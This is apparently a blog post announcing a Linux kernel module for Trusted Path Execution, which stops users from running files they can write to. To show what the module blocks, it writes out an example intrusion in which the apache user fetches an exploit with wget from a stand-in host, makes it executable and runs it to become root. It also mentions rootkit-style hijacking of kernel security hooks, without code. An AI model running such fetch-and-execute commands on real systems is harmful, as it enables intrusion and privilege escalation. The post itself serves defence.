For the past two months, I’ve been working on this project:
This kernel modules implements Trusted Path Execution (TPE), a security feature that anyone who is looking for an easy, single solution that will prevent all kinds of exploits. The short of it is, a user can’t execute code that they can write to. Meaning, if they download, compile, or otherwise write a file on the system with executable code, they can not execute it. This single handedly closes the door on a whole range of system exploits.
Say, for example, you didn’t keep up on your reboots for kernel updates and are vulnerable to a widely known exploit. Say a hacker gains entry into your system through an exploit in a web application. This is what it might look like on a system that does not have TPE enabled:
$ id uid=48(apache) gid=48(apache) groups=48(apache) $ wget -q http://example.com/exploit $ chmod 755 exploit $ ./exploit Y0v h4ck3d t3h $y$t3m!!! # whoami root
Now try it on a system with TPE enabled:
$ ./exploit bash: ./exploit: Permission denied
Now take it a step up. Say you’re up to date on your kernel, but there is an unknown exploit out there that a few hackers know about (0day exploit). Now what? If you have TPE on your system, you’re protected from the exploit, because TPE makes it extremely difficult (if not impossible) for them to execute the exploit on your system.
This TPE module also logs the parent processes of the offending process:
[tpe] Denied untrusted exec of /var/www/html/exploit (uid:48) by /bin/bash (uid:48), parents: /usr/sbin/httpd (uid:48), /sbin/init (uid:0)
This lets you know how the hacker got into the system. In the above case, they’ve entered the system through apache somehow (likely a bug in a web application).
That said, let me talk about what TPE doesn’t protect against. Certain kinds of bugs allow for arbitrary code execution. Most of the time, the hacker executes shellcode that launches a shell of some sort so they can easily further hack the system. TPE will stop them from doing other nasty things once they have the shell (as in the above example), but TPE can’t stop them from executing shellcode in memory, as it’s not a file on the system.
If the hacker has the chops, they may be able to convert whatever kernel exploit they have ready completely into shellcode and execute it via bug that they got into the system with. There isn’t anything TPE can do to stop this, so it isn’t the end-all, be-all of security. It simply makes it very difficult for a hacker to execute code on your system. Basically, you’ll stop script kiddies outright, and probably most serious hackers as well.
Now, why is this an unorthodox kernel module? Because of the way it works. Since the linux kernel doesn’t export its security framework symbols, I’ve had to find a creative way to use those security hooks. I’m basically using a method most kernel rootkits use to hijack the security functions in order to “wrap” them with my code. So, this TPE module really is just a rootkit. The difference is, I’m not hijacking functions to hide anything, I’m hijacking functions to further secure the system.
The biggest plus side to this implementation is the fact that it’ll work on distribution kernels, regardless of version or configuration (usually). So far I’ve tested it on RHEL5 (linux-2.6.18), RHEL6 / Ubuntu 10.04 LTS (linux-2.6.32), and Ubuntu 11.04 (linux-2.6.38). It probably works on others as well, but may need some tweaks here or there in order to get it to compile on those systems.
Once I’ve done some more work on the module, I’ll tag it with version 1.0 and make an attempt to advertise it beyond posting on my blog.
Hope you’ve enjoyed this post. Have a great day!